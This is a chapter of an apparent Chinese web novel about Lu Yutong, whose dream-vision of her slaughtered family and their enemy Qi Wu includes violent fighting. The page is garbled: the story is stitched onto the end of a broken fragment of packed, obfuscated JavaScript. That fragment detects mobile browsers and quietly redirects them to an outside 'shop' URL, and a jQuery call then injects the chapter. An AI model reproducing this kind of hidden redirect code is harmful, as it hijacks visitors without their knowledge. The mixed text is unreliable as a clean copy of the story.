0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17055122|194864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “施主所见皆为虚妄,灭之即灭所有相。” “然后?” “可得清净心。”比丘抬头,对她微笑。 陆玉桐不明白他是从哪儿冒出来的,但她懂比丘的意思。她看到的都是虚幻的,消灭那些看见的,就是解法。 她又感到脚边有什么东西轻轻擦着鞋面。一低头,是一地疯长的曼陀罗草。 自己这是回到了藜谷? “徒儿,你的仇报成了吗?” 她抬起头,只见师傅温柔地伸出手,撩开她额前的一缕碎发。 陆玉桐来不及疑惑,赶紧先对师傅拜了拜,回话道:“徒儿才得知那仇人名姓,是本朝晋国公戚武。” “为师和你说的话,你终究是没有听,”师傅叹了口气,“你去吧,以后也不用再操心为师了。” “可师傅的病还没好。”陆玉桐握住师傅的手。 “你要报仇,定是有去无回。我承受不住那些腥风血雨,”师傅轻轻拨开她的手,“不听话的徒儿,我也不要。” “不、不,师傅别不要我!”陆玉桐赶忙去拉师傅的手,却抓了一个空。 她急得眼泪都快要掉下来。蓦然,身后又传来一个声音唤她: “桐儿。” 她一听,竟是父亲陆续! 陆玉桐回头,抹了抹眼睛,藜谷、师傅都不见了,自己正站在宰相府的花园中。 “父亲!” 她朝那张开双臂、身着官袍的身影飞奔而去。 陆家被灭已是十二年前的事,陆玉桐太想、太想这个家了。 但她没有被接住,踉跄地摔在地上。 她爬起来,又见父亲、祖父、祖母三人在不远处盈盈笑着,望向自己。 “祖父、祖母,你们也在?”陆玉桐又疑惑又惊喜。 “桐儿学成回来了,我们来接你。”祖母慈祥地笑着。 陆玉桐再次奔向他们,结果又一次扑空。 她不解地抬头,却见原本草木丰茂的花园顷刻间变为一片狼藉。 耳边传来嘈杂的呼救声,她一路找寻至前厅,只见家中仆从四处逃窜,来不及跑的都被闯入的官兵一刀斩死。 满堂鲜血染红了地上的波斯羊毛地毯,大靖宰相府的荣光瞬息间已化作人间炼狱般的景象。 陆玉桐在死人堆中到处翻找,想找自己的亲人,又害怕真的找到。 一个官兵从她身后冲过来,她下意识去握霜鹤,却没有摸到。她侧身一让,顺势抽出官兵佩刀,直向那人脖颈劈下。 热腾腾的血液溅上她的面庞。她猛然想起比丘的话—— 所见皆为虚妄,灭之即灭所有相。 消灭那些看见的,就是解法。 陆玉桐拿着那把官刀,开始砍杀冲入府内的官兵。 和她曾无数次在梦中做过的一样。 刀刃很快就砍卷了。陆玉桐瞟了一眼那刀,往地上一扔,又从其他尸体手中换了一把。 她拼命杀出宰相府,冲出府门的那刻,世界忽然安静下来。 门口立着一匹纯黑骏马,上面端坐一个甲胄加身的人,看不清面容。 “你是……戚武?”陆玉桐猜测道。 “正是。”那人的声音从头盔后发出,“你这女娃儿又是谁?” “交出我陆氏家眷!”陆玉桐厉声道,“你这陷害忠良的奸佞小人!” 那人哈哈大笑起来,一招手,三个小兵分别端出一个托盘,每个托盘上都放着一个用红布罩上的东西。 “来,揭开看看。”那人说道。 陆玉桐咬紧牙关,想也知道那是什么,她站在原地没动。 那人又阴惨惨地笑起来,“陆氏三人都在这里,你找的不就是他们吗?” 随即那人用手中长枪一挑,将三块红布同时掀起。 陆玉桐在这刹那闭上了眼。 她不敢看,她没有自己想的那样坚强。 “陆玉桐、陆玉桐……” 黑暗中,她听见有人叫自己的名字。 陆玉桐缓缓睁开眼,面前一人正担忧地望着她。 是连南曦。